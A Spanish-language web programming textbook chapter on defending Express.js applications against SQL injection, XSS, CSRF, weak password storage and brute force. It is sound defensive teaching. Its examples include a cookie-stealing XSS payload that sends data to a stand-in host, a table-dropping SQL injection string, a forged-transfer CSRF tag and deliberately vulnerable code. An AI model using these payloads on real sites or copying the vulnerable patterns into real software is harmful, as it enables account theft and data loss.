Programación Web · Capítulo 17

Seguridad en Aplicaciones Web: Protegiendo tu Código

Conoce los ataques más comunes contra aplicaciones web y aprende las defensas concretas que todo desarrollador debe implementar.


1. Por Qué la Seguridad es Responsabilidad del Desarrollador

La seguridad no es un módulo que se añade al final — debe integrarse desde el diseño. Las brechas de seguridad cuestan millones de dólares y dañan la confianza de los usuarios irreparablemente. La OWASP (Open Web Application Security Project) publica cada cuatro años los diez riesgos más críticos en aplicaciones web.

2. Inyección SQL

El ataque más devastador y aún hoy el más común. Ocurre cuando datos del usuario se insertan directamente en una consulta SQL sin validación.

// ❌ VULNERABLE — nunca hagas esto app.get("/usuarios", (req, res) => { const nombre = req.query.nombre; // Si nombre = "'; DROP TABLE usuarios; --" // La consulta se convierte en código malicioso const query = `SELECT * FROM usuarios WHERE nombre = '${nombre}'`; db.query(query); }); // ✅ SEGURO — consultas parametrizadas app.get("/usuarios", async (req, res) => { const nombre = req.query.nombre; // Los parámetros se envían por separado — el driver los escapa const [filas] = await db.execute( "SELECT * FROM usuarios WHERE nombre = ?", [nombre] // El ? nunca puede convertirse en SQL ejecutable ); res.json(filas); }); // Con PostgreSQL (pg): const resultado = await pool.query( "SELECT * FROM usuarios WHERE email = $1 AND activo = $2", [email, true] );
Regla de oro: Nunca concatenes datos del usuario en una consulta SQL. Siempre usa consultas parametrizadas o un ORM (Sequelize, Prisma, TypeORM) que las use internamente.

3. XSS — Cross-Site Scripting

Un atacante inyecta código JavaScript malicioso en una página que otros usuarios ven. Ese script puede robar cookies, redirigir usuarios o robar credenciales.

XSS Reflejado

// El atacante envía un enlace como: // https://misitio.com/buscar?q=<script>fetch('https://malo.com/robar?c='+document.cookie)</script> // ❌ VULNERABLE — insertar input del usuario sin sanitizar app.get("/buscar", (req, res) => { res.send(`<h1>Resultados para: ${req.query.q}</h1>`); // Si q contiene <script>, se ejecuta en el navegador }); // ✅ SEGURO — escapar caracteres especiales HTML function escaparHTML(texto) { return texto .replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;") .replace(/"/g, "&quot;") .replace(/'/g, "&#039;"); } // O usar la librería DOMPurify en el frontend: // import DOMPurify from "dompurify"; // const seguro = DOMPurify.sanitize(contenidoDelUsuario);

Content Security Policy (CSP)

// Header que le dice al navegador qué scripts puede ejecutar app.use((req, res, next) => { res.setHeader( "Content-Security-Policy", "default-src 'self'; script-src 'self' https://apis.google.com; style-src 'self' 'unsafe-inline'" ); next(); }); // 'self' = solo scripts del mismo dominio // Bloquea automáticamente scripts inyectados por terceros

4. CSRF — Cross-Site Request Forgery

Un sitio malicioso hace que el navegador del usuario envíe solicitudes autenticadas a tu aplicación sin que el usuario lo sepa.

// ❌ Escenario de ataque: // El usuario está logueado en banco.com // Visita sitio-malo.com que contiene: // <img src="https://banco.com/transferir?monto=5000&destino=atacante"> // El navegador envía la solicitud CON las cookies del usuario // ✅ Protección con tokens CSRF const csrf = require("csurf"); const cookieParser = require("cookie-parser"); app.use(cookieParser()); app.use(csrf({ cookie: true })); // En cada formulario, incluir el token CSRF app.get("/formulario", (req, res) => { res.render("formulario", { csrfToken: req.csrfToken() }); }); // El formulario HTML incluye el token oculto: // <input type="hidden" name="_csrf" value="{{csrfToken}}"> // Las solicitudes sin token válido son rechazadas automáticamente

5. Hashing de Contraseñas con bcrypt

Nunca almacenes contraseñas en texto plano ni con MD5/SHA1. Usa bcrypt, argon2 o scrypt — algoritmos diseñados específicamente para contraseñas, con factor de trabajo ajustable.
const bcrypt = require("bcrypt"); // Al registrar: hashear la contraseña async function registrarUsuario(email, contraseña) { const saltRounds = 12; // Cuantas más vueltas, más seguro (y más lento) const hash = await bcrypt.hash(contraseña, saltRounds); // Guardar el hash en la base de datos, NUNCA la contraseña original await db.execute( "INSERT INTO usuarios (email, password_hash) VALUES (?, ?)", [email, hash] ); } // Al hacer login: comparar con el hash async function iniciarSesion(email, contraseñaIngresada) { const [filas] = await db.execute( "SELECT * FROM usuarios WHERE email = ?", [email] ); if (filas.length === 0) { throw new Error("Credenciales inválidas"); // No revelar si el email existe } const usuario = filas[0]; const coincide = await bcrypt.compare(contraseñaIngresada, usuario.password_hash); if (!coincide) { throw new Error("Credenciales inválidas"); } return usuario; }

6. JWT — JSON Web Tokens

const jwt = require("jsonwebtoken"); const SECRET = process.env.JWT_SECRET; // Clave larga y aleatoria // Generar token al hacer login function generarToken(usuario) { return jwt.sign( { id: usuario.id, email: usuario.email, rol: usuario.rol }, SECRET, { expiresIn: "7d" } // Expira en 7 días ); } // Middleware para verificar token en rutas protegidas function verificarToken(req, res, next) { const authHeader = req.headers.authorization; if (!authHeader || !authHeader.startsWith("Bearer ")) { return res.status(401).json({ error: "Token requerido" }); } const token = authHeader.split(" ")[1]; try { const payload = jwt.verify(token, SECRET); req.usuario = payload; // Disponible en el siguiente middleware next(); } catch (error) { return res.status(401).json({ error: "Token inválido o expirado" }); } } // Usar el middleware en rutas protegidas app.get("/api/perfil", verificarToken, (req, res) => { res.json({ usuario: req.usuario }); });

7. Validación y Sanitización de Inputs

// Con la librería express-validator const { body, validationResult } = require("express-validator"); app.post("/registro", // Cadena de validaciones body("email").isEmail().normalizeEmail(), body("nombre").trim().isLength({ min: 2, max: 100 }).escape(), body("edad").isInt({ min: 13, max: 120 }), body("password").isLength({ min: 8 }) .matches(/^(?=.*[A-Z])(?=.*[0-9])/) .withMessage("Debe contener mayúscula y número"), async (req, res) => { const errores = validationResult(req); if (!errores.isEmpty()) { return res.status(422).json({ errores: errores.array() }); } // Aquí los datos son seguros para usar const { email, nombre, edad, password } = req.body; // ... } );

8. Rate Limiting

const rateLimit = require("express-rate-limit"); // Limitar intentos de login (protección contra fuerza bruta) const limitadorLogin = rateLimit({ windowMs: 15 * 60 * 1000, // Ventana de 15 minutos max: 5, // Máximo 5 intentos por IP message: { error: "Demasiados intentos. Intenta en 15 minutos." }, standardHeaders: true }); app.post("/api/auth/login", limitadorLogin, async (req, res) => { // ... }); // Límite general para toda la API const limitadorGeneral = rateLimit({ windowMs: 60 * 1000, // 1 minuto max: 100 // 100 solicitudes por minuto por IP }); app.use("/api/", limitadorGeneral);

9. Headers de Seguridad con Helmet

const helmet = require("helmet"); // Helmet configura múltiples headers de seguridad automáticamente app.use(helmet()); // Equivalente a configurar manualmente: // X-Frame-Options: DENY → evita clickjacking // X-Content-Type-Options: nosniff → evita MIME sniffing // Referrer-Policy: no-referrer → no filtrar URL en referrer // Strict-Transport-Security → forzar HTTPS // Content-Security-Policy → restringir fuentes de scripts
VulnerabilidadPrevención Principal
Inyección SQLConsultas parametrizadas / ORM
XSSEscapar output + CSP headers
CSRFTokens CSRF + SameSite cookies
Contraseñas débilesbcrypt + validación de fortaleza
Fuerza brutaRate limiting + bloqueo temporal
Dependencias vulnerablesnpm audit + actualizaciones regulares

Resumen del Capítulo